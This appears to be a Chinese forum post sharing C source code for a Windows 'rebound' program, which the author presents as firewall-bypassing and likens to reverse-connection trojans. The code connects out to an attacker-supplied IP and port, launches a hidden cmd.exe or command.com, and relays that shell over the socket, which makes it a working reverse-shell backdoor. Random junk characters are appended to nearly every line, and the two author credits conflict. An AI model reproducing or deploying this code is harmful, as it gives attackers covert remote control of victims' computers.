这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~V&4<=r`
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/* ============================== v- M3/*
Rebound port in Windows NT px;5X4U
By wind,2006/7 i1k(3:ay<
===============================*/ yQ5&S]Xk$$
#include c`}-i6
#include ivg:`$a[
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#pragma comment(lib,"wsock32.lib") ]H<5]({F
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void OutputShell(); `##qf@M
SOCKET sClient; ~nJcHJ1nb4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T&Z%=L_Q
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void main(int argc,char **argv) Q;{[U!\:
{ gZ%wmY
WSADATA stWsaData; ,_;+H*H>"
int nRet; l^aG"")TH.
SOCKADDR_IN stSaiClient,stSaiServer; RzCC>-
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if(argc != 3) I{Hl2?CnI,
{ y3l3XLI*b
printf("Useage:\n\rRebound DestIP DestPort\n"); i(P/=B
return; 1cPm $=B
} jY>|>]4X
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WSAStartup(MAKEWORD(2,2),&stWsaData); V?AHj<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zy\p,
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stSaiClient.sin_family = AF_INET; V#8]io
stSaiClient.sin_port = htons(0); "8MG[$Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^2Sa_.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <tkxE!xF`J
{ AffVah2o:
printf("Bind Socket Failed!\n"); BzBij^h
return; %\6ns
} @i'24Q[6
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stSaiServer.sin_family = AF_INET; F7$x5h@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cpz'upVOZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :Awnj!KNCc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UB[tYZ
{ .w5#V|
printf("Connect Error!"); lU]/nKyd
return; %gj's-!!
} (2J_Y*N~>
OutputShell(); n';"c;Ye)
} +~,
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void OutputShell() AQkH3p/W
{ {!5"Y(>X
char szBuff[1024]; S~jl%]
SECURITY_ATTRIBUTES stSecurityAttributes; ga0>J_
OSVERSIONINFO stOsversionInfo; 7^$PauAv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N<c98
STARTUPINFO stStartupInfo;
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char *szShell; =
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PROCESS_INFORMATION stProcessInformation; w?_y;&sbR
unsigned long lBytesRead; tY$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VB6EM|bphl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yNp l0 d
stSecurityAttributes.lpSecurityDescriptor = 0; Cb}hE
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stSecurityAttributes.bInheritHandle = TRUE; , VZ;=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tln*Baq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T' O5>e
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RqTW$94RD
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jU')8m[
stStartupInfo.wShowWindow = SW_HIDE; Dw}8ci'
stStartupInfo.hStdInput = hReadPipe; ,arFR'u>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gM=oH
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GetVersionEx(&stOsversionInfo); Oi{X \Y
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switch(stOsversionInfo.dwPlatformId) {l&6=z
{ ,EPs>#d
case 1: sO7$b@"u.
szShell = "command.com"; ca>6r`
break; c +Pg[1-
default: l!Q |]-.@
szShell = "cmd.exe"; [s?H3yQ.
break; $ijWwrh
} C6Qnn@waYb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TTjj.fq6
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{(
send(sClient,szMsg,77,0); SI_{%~k*B
while(1) M$O}roOa
{ $<^4G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]'Y
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if(lBytesRead) 0gNwC~IA8
{ ;)ffGg>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K{[yS B
send(sClient,szBuff,lBytesRead,0); dRg1I=|{_
} ,aI 6P-
else #;. tVo I
{ }9T$ XF~
lBytesRead=recv(sClient,szBuff,1024,0); G'c!82;,?
if(lBytesRead<=0) break; `5}XmSJ?5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $LUNA.
} ju8mO&
} =x
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return; dP0!?J Y
}